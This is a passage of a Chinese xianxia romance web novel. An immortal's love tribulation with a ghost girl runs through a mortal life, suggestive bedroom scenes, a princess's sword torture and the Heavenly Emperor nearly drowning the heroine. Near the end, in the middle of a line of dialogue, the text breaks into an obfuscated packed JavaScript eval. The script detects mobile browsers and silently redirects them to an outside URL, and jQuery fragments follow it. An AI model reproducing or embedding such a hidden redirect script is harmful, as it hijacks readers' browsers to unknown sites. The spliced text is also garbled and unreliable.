风有情却瞧出了她的迟疑,揉了揉她的头,安慰道:“没关系。不懂没关系,我会慢慢教你…” 两人听不见,地上那枚雷坠子里,传出了一声重重的叹息… “风有情…该说你是自作孽呢?还是替你高兴呢?怎么会挑了雨无伤这么一只小鬼啊,你这情劫难怪这般难渡。” 第五茗平白无故看了半场春色,又闭上眼睛听了半场春雨。 她在这一场回忆中,到此时,终算是瞧明白了风有情这一劫的差错出在了哪里。 原是老司命写的那份命数出偏差了… 用天上的话来说,倒不是命数的问题,而是身为凡人的风有情和雨无伤逆了老司命写下的天命。 风有情爱上了雨无伤这位他命格簿子里,他本不会爱的正妻。 而雨无伤早该对风有情爱意深藏,奈何到如今,她都还不明白什么是喜欢,也未真正对风有情动情… 情非此劫情,何来难可寻,劫难未有影,渡仙难破境。 第五茗看了眼坠子外间完事的两人,口干舌燥地吐槽道:风有情啊风有情,你还真得感谢我,若不是我后面又添了几笔,让公主来替你完成情劫,你这一趟,岂不是难以结束。 「少年将军,保家卫国,驻守疆土,驱赶蛮人」按照命格簿子上如期进展… 大军年后再一次整顿出动,风有情上阵前仔细勘验了地势,向上举荐了绕开黄沙地带,带足干粮,多行三倍的路程,去驱散侵犯大盛国疆域的蛮族。 此法还算有效,大军总算能前行了。 只是绕的路途远了,大军这一去便是三年,期间从未回来。 蛮族四散,零碎不堪,大军胜利而归,只有风有情入城门却未归家。他受了重伤,加之荣誉在身,大盛国主从皇城派了人来,将这位少年将才直接带回了皇城。 可想而知,「少年将军和公主在皇城相遇」的命数,便应该是如期发生了。 那命数中,风有情在皇城养伤时,误打误撞,行了一场英雄救美的好事。 美人公主,只那一眼,如命数安排,相中了他。 一年后,再归雍凉城,风有情身边多跟了一人。 雨无伤初次见那美人公主时,踟蹰了一瞬,虽有疑惑,但未生出歹念,还和风有情一起,把人恭恭敬敬地请进了府里。 与此同时,美人公主却按照第五茗为风有情修正的命数中,瞧见了风有情入家门时,望向雨无伤那双柔情蜜意的眼睛,和夜间寻慕爱之人时,暗听到两人琴瑟和鸣的墙角。 本来这一节简简单单过了,可以给风有情的命数,重建情劫。 奈何,风有情还有自己的想法。 他把琴瑟和鸣的墙角,变成了毫无顾忌的心意宣示。 那一晚,是风有情和美人公主刚到雍凉城的第一日,风有情故意交代了家仆,若是这美人公主再找他,便把她引去雨无伤的小院。 因为,他打算让美人公主对他死心。 另外,他还想要向四年未见的雨无伤索求…汲取他无数个深夜里都梦寐以求的的思念。 那夜… 美人公主刚走至雨无伤的小院,便听见了毫不遮掩的双人喘息,和看见了那特意为她敞开的门窗内,正屋软榻上,两人凌乱交缠的清晰身影… 自然,还有第五茗替她命数里安排的,那一连串…她从未得到过的温柔密语。 “我的心里,眼里都只有你,你可明白?” “雷宝,我好想你…无时无刻不在想。” “我想要你。” “我甚至很后悔,自己会受伤,会离开你这么久…” “若你也同桌上的雷坠子一样就好了,我真想把你也一起带走。” “雷宝,睁开眼看着我…我为你动情的样子,你一定要记住,这就是喜欢…” “我想要孩子,想要你和我的孩子。” “迫切地…只想你属于我…” “疼吗?雷宝…不要咬牙,不用隐忍…” “听话…” 两人衣衫渐褪,掉落一地,几件轻薄的贴身衣物,经穿堂风一带,飞舞起落,挂在了打开的门扉上。而那两人慢慢地隐在了软榻上的毛皮中,只剩男子的安抚声,柔柔蜜蜜,女子的呻吟娇喘声,震破天际。 一轮又一轮,全传进了院子中,那身子僵硬住了的美人公主耳里。 须臾,美人公主抛洒泪水,踉跄地跑出了风有情和雨无伤所在的小院。 风有情做事太狠了。 一个爱慕者,亲眼见喜欢的人和他人欢愉,心中怎么会不生怨念。 美人公主第二日就回了皇城,没过几日,风有情就得了一道筑墙看守的苦命闲差。 让他于三年内,将往日驱散了蛮族人的地域,修筑起长墙,以护疆域安稳。 风有情自然知道这是怎么一回事,但雨无伤却不清楚。自此三年时间内,风有情靠着半月一封的书信,和跟随粮草马队回来那一日,教导雨无伤如何去喜欢上他,如何爱他,如何为他动情。 边境入口宽阔,修建一堵长墙,三年时间又哪里够… 就这样,又过了一年。 直到领旨修筑长墙的第五年,那一方界势只剩最后一小节,便能在外境又能拉起一道守护疆域的防线。 因即将完工,这一次粮草马队回雍凉城的时间充裕了许多,足足停留了十日有余,且让风有情顺势为雨无伤庆贺了二十七岁寿辰。 寿辰那日,雨无伤第一次主动地将风有情许进了她的心愿里,可是风有情却不知道。 前脚风有情刚离开,那美人公主又到了雍凉城,还住进了风府。 五个月后,长墙完工,所有人马返回雍凉城。 风有情归心似箭,快马加鞭先众人一步赶了回来。他刚入府门,便看见雨无伤浑身伤痕,跪在美人公主脚下。 美人公主手拿软剑,一挑一挑地在雨无伤身上划出小口子,旁边的府中家仆跪倒在地,没有一个人敢出声制止,他们身上也多多少少带了伤痕。 少顷,雨无伤生气越发虚弱,美人公主性质淡然,收回软剑,把另一手上的文书,扔在雨无伤面前,道:“本宫又差人写了一份,你按压了这份和离书,成全本宫与风将军,本宫就饶你一命。” 雨无伤眉头紧蹙,默不作语,艰难地双手拿过那封和离书,撕碎成渣。 美人公主脸上怒气盛起,软剑紧握,尖端朝雨无伤的手掌刺去,道:“整整五个月了,你当真不怕死!本宫没耐心陪你耗,风有情要回来了,这府里只能有一个女主人,只能是本宫,绝不会再是你…” 软剑垂直而下,鲜血滴落,但那只握剑流血的手并非是雨无伤的,她的手早 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气息薄弱,又紧促…宛如下一刻,就会撒手离去。 风有情浑身颤抖,手上动作更加轻盈,眼眶猩红,道:“好…” 他朝四周跪拜的家仆吩咐道:“快…快去找大夫来。” 美人公主指向跪在一旁的家仆,兴奋大笑,喝止道:“谁敢动!!今日谁都不许出这道门,本宫要她死…她死了正好,风将军就是鳏夫了,本宫之前怎么没想到…你若是守了寡,自然是可以再换一个女主人的。” 说着说着,后面几句话,她底气越来越不足,声音越来越小,仿佛在低吟给自己听。 风有情稳稳抱住雨无伤,站了起来。 美人公主急忙大喊道:“拦住他!不能让他出去…” 风有情身后士兵拔刀列阵。风有情脚步撤了回来,愁容满面地,看了一眼怀里的人,双手紧紧抱住,抬头怒目瞪向美人公主,诘问道:“敢问公主是以何目的,带兵入城,威胁一城将领,还闯本将府内,折辱我妻!” 他踩上雨无伤撕毁的和离书,在美人公主惊恐的神情中,碾了又碾那堆废屑,脚尖猛踢,扬起了那堆纸屑,并将地上的一块碎石子打在了美人公主身侧的柱子中,厉声道:“伤她至此,逼迫她签和离书!!” 石子威力巨猛,沿柱子从上而下,打出了一道贯穿的裂纹,美人公主跌倒在地,一旁的奴婢双双上前掺扶,呵斥风有情道:“大胆!竟敢对公主殿下无礼。” 风有情并没有退缩,而是一副要账人的姿态,势要盘问到底,带雨无伤杀出一条血路。 美人公主呐呐道:“因为我喜欢你…” 这话在风有情听来是如此的可笑。 他咬牙切齿道:“我得皇典恩旨,入皇城养伤,是为了更好地守护这边境一带,守护雍凉城,守护大盛国!!而非入京都成为公主的玩物,更没想得公主青睐,细细回想那日之事,如今想想我当是后悔了…后悔救了你,给了你机会伤害她。” 美人公主瞳孔瞪大,失魂落魄地摒弃了左右侍俾,捡起地上的剑,指向两人,失心疯道:“你说什么!你怎可胡言乱语!!风将军…本宫再给你一次机会,你好好做答,你当真后悔了那日…救本宫?” 风有情唾弃道:“对,若是可以,雷宝身上的伤,我会加倍从公主身上找回来。” 美人公主嗤笑道:“她…本宫查过了,罪臣之后,她父亲贪图功劳,残害大盛士兵,致使本宫父皇名声不如一失踪宰相,她怎么配得这么好的良缘!风将军,她命贱,我命贵。天命当选我…我才是你的良配。” 怀中的人呼吸越来越急,风有情心焦如焚,但他知道,他就算带雨无伤闯了出去,也寻不到机会给她医治。 他无奈又苦闷,听了美人公主这一席话,不禁回怼,嘲讽道:“是吗?都知道大盛国帝君之位来路不正,若非前朝大臣,蓟宰相的父亲鼎力扶持,如何能有今天的位置高坐?公主,底下人不议,不代表不知,你们皇亲国戚应当收敛,体恤民众,低调仁义行事。而当今帝君名利熏心,为贪图满水古都黑水,不惜残害领国友人,坑害本国将士,公主不会真以为雨将军之事是他自己的意思吧,蓟大人和我父亲彻查这件事的时候,我可是在一旁听了个一清二楚,不然你以为除了雨将军的亲近人之外,为何蓟大人和我父亲还会放了其他人?我又如何能名正言顺娶了她…” 顿了顿,风有情笑道:“还有,她不论出身,还是人…都比你好。若我来写天命,也定会依旧选她,做我唯一的妻子!” 美人公主怔愣出神,蓦地像着了魔,一边朝风有情和雨无伤挥剑,一边痴念道:“不对…不对,你该爱我的,我喜欢你…这么喜欢你…你怎么可以不喜欢我呢…” 她一剑划在了风有情身上。 68. 一境一镜锁一情5 风有情闷哼一声,抬步朝美人公主的方向迈出半步。 周围将士见情况不对,担心风有情抵挡反抗,伤了美人公主,他们会有失责之罪,纷纷拥护上来,以刀剑将风有情和雨无伤按跪在地,让他们成了公主软剑下可被任意宰割的鱼肉。 风有情吐了一口血,嬉笑起来,无视了美人公主口中那一遍又一遍的“喜欢”。 见心中“喜欢”被唾弃,美人公主疯了,眼前区分不出爱人与所恨人,软剑胡乱砍在了风有情身上… 在那一群刀剑的按压下,风有情护住雨无伤跌坐在了地上。 一滩一滩血水从刀剑下流了出来,风有情的笑声也渐渐没了气息。 雍凉城中,凡人不可见的一道金光涌现上天,那是仙君渡难历劫时的福相。 风有情的一世命劫顺利渡过,原地飞升回仙身。 身为情劫的美人公主,瞬间回了神,她视线落在软剑下血肉翻涌的男人身上,害怕道:“本宫怎么会在这儿?这是怎么回事?本宫…杀了风将军?发生什么了…” 软剑滑落,美人公主惊慌失措地跑出了风府,而她带来的一众奴婢和将士也尾随出了府门。 独留了一群瘫软的风府家仆,和正屋门前那遭乱剑刺死的风有情,与他怀中热血浸染、气息孱弱的雨无伤。 一位绛衣鬼差,恭候在风府正屋门前,对渡完劫难后发愣的风有情,拱手道:“恭喜星君,情劫历尽,成功飞升。还要请星君随我去土地那方消解凡人户籍。” 风有情未回神,那绛衣鬼差又叫唤了几声: “星君。” “星君?” “星君…” “想来星君还有自己的打算,下官也是不急的…哈哈…”绛衣鬼差叽叽喳喳了一阵,还尴尬地笑了两声。 那厢,风府奴仆因突生变故,回过神,后怕地四散离去,弄出不小的动静。 唯有风有情,静静地站着,低头凝视,充耳未闻周围发生的一切,和那些嘈杂的声音,他捂上心口,自言自语道:“怎么和那老司命写的故事不一样…” 明明只是一场劫难,为什么他还不想离开,为什么心头堵塞,想留下来。 他回归仙位,那雨田心玉上的封印也解除了,淡淡的光,一闪一闪,藏在地上两人的怀中。 半日过去,雨田心玉暗了下来,尸体下方微微蠕动,有东西似要翻上来。 风有情石化的身姿也跟那东西一起紧张地动了动。 尸体下的人,从尸体臂弯处的空隙爬了出来,身上血渍黏黏糊糊,她刚挣脱禁锢,那尸体也应声倒地。雨田心玉消失在了尸体上,出现在了风有情的腰间。 雨无伤嘶哑道:“痛…” 风有情蹲了下去,在雨无伤额间一点,帮她缓解了身上的痛楚。 雨无伤在地上趴了一会儿,身上突然轻松,她抬头四处搜寻,看清了地上僵硬了身子的人,慢慢地爬过去,把人半抱了起来。 她本就将死之人,这几步简单的动作,虽感觉不到疼痛,却是让她的身体到达了极限,险些让她又背过去闭上眼。 雨无伤手轻轻地在尸体上摸索,却只摸得到尸体上的碎肉和血浆,她喃喃唤道:“风…有情,你是…不是也离开我了?” 她心口刺痛,目光无神,幽幽地道:“待会儿…我出去了,该走…左边的街道,还是右边的街道…” “可是…我好像哪儿都不想去。” “会不会有人来撵我?” “我想待在这里…” 一滴干净的水,落在了雨无伤怀里那张她擦干净的脸上,接二连三,更多的水滴砸落下来。 今日雍凉城,晴空艳阳,没有下雨。 风有情伸出手接了一滴,又惊又奇道:“你哭了…” 雨无伤听不见他这句话,她一手揪住胸口的衣襟,痛苦大喊道:“风有情,我好痛啊。” 她继续喃喃道:“我这是怎么了…你怎么从来没教过我这件事。” 风有情心中一颤。 取而代之的是欣喜,一份作为凡人风有情的期盼,此刻,实现了。 他也知道他想要等的是什么了… 他等的是她的心。 她会心痛了,他很开心! 可她却活着,他已经不复存在了。 一旁等候的绛衣鬼差,望了望快落下的日头,道:“星君,天色渐晚,要不先随下官去土地庙消了户籍,拿回您的贯神令?” 风有情摘了腰间的雨田心玉,让它挂回了雨无伤的腰间,向鬼才询问道:“她今生命数还有多少?” 绛衣鬼差答道:“到今夜。” 末了,绛衣鬼差知无不言言无不尽,道:“也是下官来替姑娘勾魂引路。” 风有情道:“你不用来了。本君看她还有二三十年寿数,恰好今日本君在这方还有事未了,你先回吧,剩下的交给本君。” 绛衣鬼差呆愣,没明白风有情什么意思,傻傻地来回看了几眼风有情和雨无伤,道:“星君,这恐怕…” 风有情斥声道:“本君还有些事要教与这只小鬼,她需再留一段时间肉身。若是你听得懂话,便速速离去,否则,本君的雷霆长枪不介意送你一程。” 绛衣鬼差后退两步,哆嗦道:“星君请便,下官先告辞了。” 太阳落山前,风府的绛衣鬼差离开了,而带了雨田心玉的雨无伤气色越来越好,她慢慢起身,打来了水,将屋子收拾干净了。 只是,她得了一个毛病,每当她想起风有情时,就会心痛,眼眶里也会掉泪珠,而这时,她就会在失神恍惚中,再见到一身白玉锦服的风有情。 她以为她把他留下了… 却不知,是他留下了她。 留下了他的情劫,让一切没有随老司命的命数结束。 雨田心玉封印解除,让困在里面的第五茗一点也不好过,她的身子又如最初进入这场回忆一般,锁在了坠子中,僵硬不能动弹,她瞧着面前这一切,心里替风有情和雨无伤干着急。 绛衣鬼差不识雨田心玉,第五茗却听说过雨田心玉的另一个名字——雷心玉。 那可是天帝赐给风有情的护身宝贝,可护仙鬼心脉不损。 更何况是一介凡人。 此番挂在了将死之人身上,实在是不妥。 第五茗在坠子中怒喊道:风有情!你怎么这么莽,司法无情,你谋私谋情,怎能做雷府主帅!!天帝不会允许的,天道也不会同意啊!你这是在害雨无伤!!! 她忘了,她只是入了这段情丝中的回忆,并非真正的参与到他们两人的事情中。 天劫来得很快,雨无伤多活的第二年,她身边开始频频发生一些致她于死地的事情… 头顶突然掉下来的石头,走路不下心掉进缸子里,切菜划伤筋脉,出门遇见死囚…招招险命,可次次都在事发时,被一阵晃荡的风,给解决掉了。 就这般,过了六七年,雨无伤这一次又遇险了,那股风却没有及时赶到。 一口茶水将她噎死在了家中。 凡人雨无伤命数尽了。 一只大手把雨无伤从凡人尸体里拉了出来,她瞧清面前人后,拜了一礼,失声道:“风…风星君。” 风有情眸色黯然道:“你是…雨无伤?” 他伸手在雨无伤脸蛋上一刮,带下一滴水珠,皱眉深思道:“小鬼哭泣,伤情泪?” 雨无伤望了眼桌上趴着的人,想起入人道前,老孟婆特意交代过的话,慌乱摆手,解释道:“婆婆说我从忘川河水里出来,没有七情。” 风有情双眼紧锁雨无伤闪躲的目光,一字一顿道:“是吗?” 雨无伤道:“应该是的。” 风有情神色忽顿,点了点头,细细品味雨无伤回答的话。 停顿片刻,雨无伤见风有情未有反应,她自顾自地未征得风有情同意,举止亲昵,自然地从他手中捧过那滴泪水,另一手指向桌上人,道:“这泪是她的?” 风有情回身,眸中微不可见的喜色,反手钳住雨无伤收走泪水的手腕,他道:“既没有七情,你拿走这滴泪干什么?” 回归仙鬼之身,不似凡人相同的体温,手指与手腕间的肌肤相触,一热一冰,让雨无伤心头猛烈跳动。她脸色羞红,解释道:“婆婆说…若是我做人时流下了眼泪,要带回去,可能汤里需要。” 与先前奈何桥见面不同,风有情发现,雨无伤多了许多情绪和反应,还会辩解了…一举一动,都和他拼命想留下的凡人雨无伤重合。 而非…无知无感无情绪的女鬼雨无伤。 雨无伤继续道:“婆婆还说,您是天界雷部星君,我以后会是六天宫里为鬼魂熬汤的人,命运殊途,让我不要生了妄想。” 风有情问道:“你生欲念了?” 雨无伤愁眉苦脸,懵懵懂懂道:“我…应该是没有的吧。入轮回前,婆婆特意叮嘱过,这一世姻缘命数,不过是司命府的哪位仙君写的无聊故事,星君历劫功成,我能安全回去,这命格本子就算物尽其用了。” 欲念… 是没有。 不是不知道。 真的和六天宫的雨无伤完全不一样了,像极了凡人雨无伤,有了心绪。 风有情欣喜,紧张的神色顿时疏朗了几分,他嘴角挑起,心乱如麻道:“你是…雨无伤。” 雨无伤不解这句话的意思,回应道:“啊?星君什么意思。” 风有情笑道:“回吧。” 雨无伤道:“嗯?” 风有情道:“来为你引路的鬼差,被本君打发走了,我送你回去。” 雨无伤喃喃道:“不敢劳烦星君,我找得到路。” 都学会客套了,却没学会正视内心。风有情叹了一口气,心道:看来还是我教得不够好,最重要的给漏了。 他挑眉道:“没有土地城隍给的路引,你如何入鬼门关?你现在可是一只刚出肉身的新鲜小鬼。” 雨无伤顺手拿起腰间坠子,还没来得及看一眼,话先说出了口,道:“我有通冥牌?” 风有情伸出手,朝雨无伤手中勾了勾,打趣道:“你有通冥牌?” 在风有情的动作下,雨无 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雨无伤并没有如期顶了老孟婆的差事,老孟婆也帮风有情和她证实了,那并非女鬼雨无伤的眼泪,真如当时所言,是凡人雨无伤流下的普通泪水。 雨无伤和风有情面上俱有老孟婆一眼就瞧出来的失落… 老孟婆让雨无伤继续在奈何桥边守着,搅一搅锅中的水,偶尔帮忙给投胎往世的小鬼分一分。 只是,这奈何桥边和往常不一样了。 那渡情劫成功的风有情,好似并没有放弃,他一得空就会跑来奈何桥,还时常会顺手带一些凡间的东西… 法力护住不凋谢的花,枝叶繁茂的仙草,会发光的钗子,好闻的木头,厚厚的字帖,有趣的书本…今日,他带了两罐雪窖茶酒。 他有一件事需要去确认… 奈何桥前的石桌上,风有情斟满了一杯茶酒,推到雨无伤面前。 雨无伤端起那杯酒,放在鼻翼下闻了闻,道:“为什么这次是酒?星君不打算继续把我变成一个正常人了?” 风有情温声道:“你先喝了,我再告诉你。” 雨无伤拧眉道:“我喝酒容易醉…” 风有情沉吟道:“茶酒你也会醉?” 雨无伤面容迟疑,像是在想什么心事。她嗫嚅道:“嗯…应该会吧,还没喝过下面的酒。” 风有情灿烂一笑,道:“你尝一杯吧。” 盛情难却,雨无伤点头道:“好。” 一口饮尽,她头立即昏昏沉沉,跟着人就变得迷糊起来。 她双手揉搓穴位,呐吶道:“星…星君,会醉…醉的,为何你要我喝酒?可以说了吗?” 风有情若有深意,道:“还记得我们成亲那日吗?雷宝…” 雨无伤呢喃道:“成亲…我们没做什么啊…有什么地方不对吗?” 豁然,风有情大悦,手上捏诀,瞬息到了雨无伤身后,一把将人拉了起来,拦腰抱进怀里,靡靡地靠近雨无伤耳边,道:“你知道吗?你藏不住心事的,我都发现了。为什么要再教你做一个正常人,你在雍凉城时,不早就是一个正常人了吗?雷宝…回来以后,为什么要装记不得?为什么要故作不懂?为什么要避着我?你现在是只有饮了酒,才会和在雍凉城时一般乖了吗…” 雨无伤头昏脑涨,风有情熟稔的亲昵,加上茶酒的引诱,让她无从抵抗,双手自然而然地挂在了对方脖子上。 脖子上袭来的冰凉触感,让风有情身体一顿,在雨无伤用手指习惯性揉捏他耳垂后,他整个人慢慢地开始发热,不知不觉中,竟是将怀里凉意深重的雨无伤也烧着了。 雨无伤是鬼魂体,炙热对她来说是十分不舒服的,她眼神迷离,半回神道:“我一直都很乖的,你的话我都有听…但婆婆对我也很好,我也要听话的。” 问题竟是出在这里! 风有情心下了然。 面上喜悦,他拿起桌上的雪窖茶酒,咕咚咕咚罐下了一瓶,纾解心底的燥热。 茶酒不解热,反而又烧了一把火,雨无伤凉悠悠的气息,不停地吸引着他。 在雨无伤颈窝处,频频挑逗,直到对方身体发软发颤,他心里才得到这段时间的藉慰,吞咽道:“雷宝,你若是心里有我,就忘了那熬汤老婆子叮嘱你的话好吗?我是星君,我会保护你的。” 风有情藏在雨无伤颈肩额的面容极其委屈,声音有些颤抖,道:“你可知,我…有多害怕,害怕你不是你?你可知…我这段时间有多煎熬?你可知…我此刻的心情?雷宝,不要听别人的话了,听一听你自己的,好吗?” 阴风四起,奈何桥边的鬼差频频朝这边望来,他们都知道雨无伤和风有情人间一劫后,这仙君和小鬼的故事还没结束——仙君缠上了小鬼。 好久…风有情都以为雨无伤要在她怀里睡过去了,却是让他等到她醉意不减,诚意也不少地同意道:“好。” 茶酒作用下,雨无伤更易动容,比起风有情的隐忍,她直接呜咽道:“我真的也好想好想你…” 69. 一境一镜锁一情6 雨无伤眼眶内掉不出眼泪,却因着急,双目发红,道:“婆婆说跟天上人走太近,会有大祸事,会被打,会痛…” 紧楼风有情,她失声控诉道:“若是我痛了,你就会难受,你又会受伤,又会离开我,我不想你有事…雍凉城的事,我不想再发生一次…我不需要你再重新拿那些东西来了,凡间那个雨无伤是我,现在的雨无伤也是我,和你风有情一样,生前死后,故事中与故事外,你都是你,我也都是我。我一直都知道,我现在是一个正常人了,你不要再试探我,我承认…我承认…” 下颌抵在风有情脑上,她艰难道:“我只是不想醒来后,只剩我一个人…我不想…” 风有情从她身上离开,柔情道:“雷宝别怕,那些不过是老司命写的破故事…” 雨无伤身子在风有情怀里抖动,那是委屈和害怕导致的。 他拉起雨无伤的手,十指交握,掷地有声道:“我是仙君,还是未来的雷部将帅,我不会有事,我也不会让你有事。” 两人掌中闪烁,分别划上了一条金痕,他立誓道:“雷宝,我许你仙君誓约,日后定不离不弃,不会再丢下你一个人。” 闻言,雨无伤眼角倏地滑落了几滴泪水,滚热烫人。 风有情把那几滴眼泪悄悄放进了怀里,拉起一方结界,挡了奈何桥边朝这边看来的小鬼视线,他牢牢地扣住雨无伤的肩膀,将人深深地拥入怀里,眸中眼色翻涌,低头吻了下去。 不同于以前的情欲缠绵,这一次,他吻得极轻,仿佛是想通过两厢唇瓣上的贴靠,让对方冷静下来。 还真别说,风有情的方法可能是用对了,雨无伤眼睛瞪大,神思清明,身体也不再抖了。 风有情仰起头来,笑道:“酒醒了?” 雨无伤不知道风有情拉了一方结界,外面的小鬼是看不见他们两人的。她余光瞟见石桌不远处,奈何桥上的小鬼都在向这边打量,双手遮上了眼睛,哽咽道:“嗯。” 风有情拉下她的手,在她嘴上啄了啄,道:“会害羞了?” 雨无伤眼神闪躲,道:“嗯。” 风有情脱离情迷,认真问道:“方才说的话,可还算数?” 他举起两人结誓的双手,渡上法力,让那条誓约闪现。 因风有情和雨无伤牢牢地抱在一起,那手掌中的金痕,快速闪过一瞬,就消失不见了,宛若不存在一般。 而它不存在,则说明那誓言是履行完成了。 雨无伤痴痴看向掌心,无所可避地“嗯”了一声。 风有情将雨无伤与他结誓的手放在心口,宝贝地道:“雷宝…谢谢你。” 风有情沉迷于情,没注意到奈何桥上的情况。石桌周围的结界,让小鬼更生了好奇心,好几只小鬼探长了脑袋向这边张望,恰巧,雨无伤看得一清二楚。 她双手又捂上眼睛,责怪道:“就不能去我的屋子吗?这里…不太好。” 风有情一怔,雨无伤的邀约让他脸色霎时涨红,身上更是硬了一分,干哑道:“真的可以吗?雷宝…你…” 身下人的变化,雨无伤可太清楚接下来会发生什么事了。双手挪下来,为发烫的脸解热,急忙道:“总比在这里好吧。风有情…你不会是想在这里和我…不可以!” 风有情心神荡漾,毫不遮掩,紧搂雨无伤,得寸进尺,嘴上却甜甜应道:“好,听你的。” 响指一打,仙君法力猛散,一瞬,风有情带雨无伤到了六天宫内的屋舍。 可能是风有情心里太着急了,且还分神在雨无伤身上,不愿停下地索要这段时间的安慰,找了四五间,他才找到雨无伤的房间。 风有情将雨无伤放在床榻上,彻底胡作非为前,口吻轻柔,最后一次确认道:“你是我的雷宝,对吗?” 雨无伤情动意出,柔絮如一阵春风,双手攀附上风有情的耳朵,满心欢喜道:“还是这么不确定吗?风有情,我不会只回答问题了。你听好了,我是风星君苦苦守候五六年的雷宝,是那个被风有情教成了正常人的雨无伤,是那个懂得了什么是喜欢,什么是痛,为仙君流下眼泪,有情有欲的小鬼。” 她仰头轻咬了风有情的嘴唇,将人一把拉了下来,贴在对方耳旁,道:“我喜欢你,你听见了吗?你不用再去反复确认了…我喜欢上你了,我想将身上的任何一处都对你毫无保留。因为我喜欢上你了,我很想要很想要靠近你,因为我喜欢上你了,我现在也忍耐不住地想要去拥有你。” 雨无伤真挚道:“和他人无关,我听我自己的,我喜欢你。” 她嘴角一笑,道:“换我问,你做答,你喜欢我吗?” “喜欢。” 两人衣衫尽去,云山雾海翻涌,让地上的雨田心玉颤了又颤,里面的第五茗想如在凡间一般捂住耳朵,闭上眼睛,而被禁锢的她,只能听完了这一场完完整整的春雨。 最可恶的是,两人下雨就下雨,还抽空闲聊了两句,惹得第五茗心海翻涌,气息难定… 第五茗:… 第五茗:等我出去,我也去找一个又行又厉害的仙君!!!实在过分,情丝看着可可爱爱,没想你们…如此凶猛。 第五茗:幸好跟着老司命写过不少情欲本子,不然…气死了!!! 第五茗:还是好气… 第五茗:这都什么事!! 第五茗:镜林怎么什么都关… 第五茗:清心如水,清水即心。微风无起,波澜不惊… 第五茗:清他大爷的!! 第五茗:… 一天一夜后,第五茗在雨田心玉里都麻木了。 春雨终于停了。 只是! 这场春雨断断续续,上百年的记忆里,几天一次,数月一次,一年一次,几年数次… 实在是让第五茗崩溃。 也让第五茗越发为两人担忧。 她入这段情丝之前,风有情和雨无伤的结局便写定了,按照时间算算,两人逆天命数,也差不多到时候了。 果然,百余年后的某日,也是司命府第五茗下到六天宫行择选福泽命格之前的那段时日,她在风有情腰间的雨田心玉中,看见了那一场众人都不知道的秘密。 这一日,风有情和往常一样,处理完手头上的事,便来奈何桥寻雨无伤。 奈何桥竟不似往日拥挤,空荡荡的,还罩上了一层法力雄厚的结界,避了奈何桥之外的小鬼注视。 他心神不安,在外间没有寻到雨无伤的身影,油然而生出一股莫名的恐慌,直奔那方结界。 本以为要强硬突破,才能进入结界,却是刚走进,那结界便为他打开了一个缺口,眨眼间,呐喊不断的刺耳女子声向他迎面扑来。 连同在结界远处围观的小鬼们,也听了一耳,皆是不约而同地向后退了两步,相互拉过身旁的东西遮掩,方敢继续八卦。 “冷…好冷…” “痛…好痛…” “求求你…放我上去…” “啊!痛…” “…” 那呼救声,风有情再熟悉不过。 他不寒而栗,眼珠赤红,幻出雷霆长枪,凝聚法力,狂奔于忘川河水上。 寻声搜去,忘川河深处,有一簇水花在扑腾,水花前悬浮站立了一人,水花里也有一人。 水花前那人彩云团绕,金光四溢,华服金冠,气度不凡。 水花中的人,看不见模样,只有半个脑袋在慢慢沉下去,还有不停向上攀索的双手,以及偶尔随水泡咕涌冒出的震喊。 风有情持枪靠近后,面色顿然,诧异地收起了长枪,泄了周身刚烈的法力,在河水上,凌空跪拜在站立那人跟前,见礼道:“雷部风有情,见过天帝。” 此人正是天界的玉帝。 他侧头瞧了下来,面容慈蔼,道:“没有外人,不必拘礼。” 风有情担忧地看了一眼水里挣扎的雨无伤,没有起身,蹙眉问道:“天帝怎会来六天宫?这小鬼怎么在水中,是她冲撞了天帝吗?” 天帝眼眸深沉,未答,反道:“雷君不起来吗?” 风有情面色惨白,咬牙定神,横心求情道:“这小鬼不通情理,若是她冲撞了天帝,我想替她…” 天帝淡淡地道:“雷君不想起来就不起来吧。” 风有情住了嘴,天帝来这里的意图,他大概是猜到了。眸光不由自主地瞟向河水里的雨无伤,紧抿双唇,默默地等候天帝的指示。 天帝默了一口气,悠悠地道:“雷君啊,本君只是不忍你像上任雷部将帅一般,白白浪费一身能力,为情所困毁了自己。今日本是去妖界的,可你实在让本君不放心,让本君不得不特意抽空来这方帮你解决此事。” 风有情怔愣,惴惴不安道:“请天帝放心,我…不会重蹈我父君…” 天帝打断他的话,道:“你父君千万人魂的戾气,为一小仙说散就散,本君真不愿再失一员爱将。他…本君当年也是力排众仙,将他好不容易从人界点上来的,而你,本君同样花费了诸多心思栽培,你们怎么都不明白本君的良苦用心呢。” 风有情抖抖簌簌,自知和雨无伤此次避无可避了,求饶道:“天帝…求您饶她一命吧。她只是六天宫里的一只小鬼,是我当日一时糊涂,拉了她来。求天帝放她出来吧…风有情知错了。” 天帝眼眸凌厉,道:“知错了?你确定真的知错了?若真是知错了,就该用本君赐你的雷霆长枪了结了这只小鬼。” 雨无伤的嘶喊,一阵弱过一阵,风有情肩头耸动,伸出手,又撤了回来,隐忍了想去拉雨无伤的冲动,求情道:“天帝,求求您,放了她吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701881|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 天帝斥责道:“黑水本君可以给人界,本君也可以替你挡了众仙的怨怼,寻一个最轻松的劫难,可是…你做了什么?风有情…天界讨伐魔界在即,你不可再被耽误了。雷部需要一个领战的将帅,一个没有过多欲念,一心为天界的将士。她本君是不能留。” 雨无伤喊叫的声音没了,挥舞的那双手也在慢慢沉下去,只有几个水泡带上来的气息,传出她奄奄一息的生机。 风有情那双手,终是伸了出去,当天帝的面,他抓上了雨无伤的手,输送法力,护了雨无伤最后一丝气息,低声哽咽道:“雷宝…” 天帝指尖轻掀,风有情猛地被重击在地,他那只握了雨无伤的手,突然袖襟紧贴,慢慢拧紧,进而连带他的手臂像麻花一样扭曲。 风有情没有松手,他既没有反抗那股力量,也没有其他动作,只是依旧保持姿势,让手能握住水里的那只手,传送下去法力,护住忘川河水中的雨无伤。 须臾,拧扭他手臂的力道松了,他爬了起来,磕头在水面上,感恩道:“多谢天帝,多谢天帝怜悯小鬼,多谢天帝… 